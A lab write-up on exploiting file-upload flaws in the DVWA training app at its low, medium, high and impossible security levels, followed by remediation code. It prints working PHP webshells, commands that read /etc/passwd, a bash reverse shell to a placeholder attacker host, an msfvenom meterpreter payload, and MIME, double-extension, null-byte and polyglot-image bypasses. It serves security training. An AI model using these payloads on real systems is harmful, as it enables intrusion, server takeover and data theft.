🔍 08 — File Upload

File Upload

OWASP: A05 | **CWE**: CWE-434 | **Severity**: 🔴 Critical

Endpoint: `http://localhost/dvwa/vulnerabilities/upload/`

⚠️ Security Level: LOW

Behavior

No file type or extension validation. Any file is accepted.

PoC — Basic PHP Webshell

```
<?php system($_GET['cmd']); ?>
```

Save as `shell.php`, upload via form.

Access Shell

```
# After upload, file is at:
http://localhost/dvwa/hackable/uploads/shell.php

# Execute commands
http://localhost/dvwa/hackable/uploads/shell.php?cmd=id
http://localhost/dvwa/hackable/uploads/shell.php?cmd=whoami
http://localhost/dvwa/hackable/uploads/shell.php?cmd=uname+
-a
http://localhost/dvwa/hackable/uploads/shell.php?cmd=cat+/e
tc/passwd
http://localhost/dvwa/hackable/uploads/shell.php?cmd=ls+-la
+/var/www/html/
```

```
# Get reverse shell:
http://localhost/dvwa/hackable/uploads/shell.php?cmd=bash+-
i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261
```

PoC — Advanced Webshell

```
<?php
// More advanced webshell
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "<pre>$cmd</pre>";
    die;
}
?>
<form method=GET>
  <input type=text name=cmd value=id>
  <input type=submit value=Execute>
</form>
```

PoC — Msfvenom PHP Payload

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP L
PORT=4444 -f raw > payload.php

# Set up handler
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
exploit

# Then access: http://localhost/dvwa/hackable/uploads/paylo
ad.php
```

⚠️ Security Level: MEDIUM

Defense

MIME type check: only `image/jpeg` and `image/png` allowed.

```
if (($uploaded_type == 'image/jpeg' || $uploaded_type == 'i
mage/png')) {
    // allow
}
```

Bypass — Burp Suite MIME Change

```
1. Prepare shell.php
2. Upload normally
3. Intercept with Burp Suite
4. Change Content-Type header:
   Content-Type: image/jpeg
5. Forward request
6. Server accepts 'image' and stores shell.php
7. Access: http://localhost/dvwa/hackable/uploads/shell.ph
p?cmd=id
```

Bypass — Double Extension

```
Rename: shell.php.jpg
# Some misconfigured Apache servers execute .php regardless
# Check: http://localhost/dvwa/hackable/uploads/shell.php.j
pg?cmd=id
```

Bypass — Null Byte (PHP < 5.3)

```
Filename: shell.php%00.jpg
# PHP truncates at null byte -> saves as shell.php
```

⚠️ Security Level: HIGH

Defense

Server-side magic bytes check using `getimagesize()` + extension whitelist.

```
if ((isset($uploaded_type)) && (($uploaded_type == 'image/j
peg') || ($uploaded_type == 'image/png')) &&
    (($uploaded_ext == 'jpg') || ($uploaded_ext == 'jpeg')
|| ($uploaded_ext == 'png'))) {
    if (getimagesize($uploaded_tmp)) {
        // Valid image file
    }
}
```

Bypass — Polyglot File

```
# Method 1: Prepend valid JPEG header to PHP code
echo -e '\xff\xd8\xff<?php system($_GET["cmd"]); ?>' > poly
glot.jpg

# Method 2: Use exiftool to embed PHP in JPEG comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legitima
te.jpg -o shell.jpg

# Upload shell.jpg (passes image check)
# Combine with LFI to execute as PHP:
http://localhost/dvwa/vulnerabilities/fi/?page=../../hackab
le/uploads/shell.jpg&cmd=id
```

⚠️ Security Level: IMPOSSIBLE

Defense

- Random renamed file with UUID
- Strict extension + MIME + magic bytes check
- File stored with non-executable extension
- Directory has no execute permissions

📊 Impact

Impact	Severity
RCE via webshell	Critical
Full server takeover	Critical
Data theft	Critical
Backdoor installation	Critical

✅ Remediation

```
// Secure file upload
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));

if (!in_array($ext, $allowed_extensions)) die('Invalid typ
e');
if (!getimagesize($tmp_file)) die('Not a valid image');

// Rename with UUID
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($tmp_file, '/uploads/' . $new_name);
```

```
# .htaccess in uploads directory
php_flag engine off
AddType text/plain .php
```

📚 References

- CWE-434: https://cwe.mitre.org/data/definitions/434.html
- OWASP File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload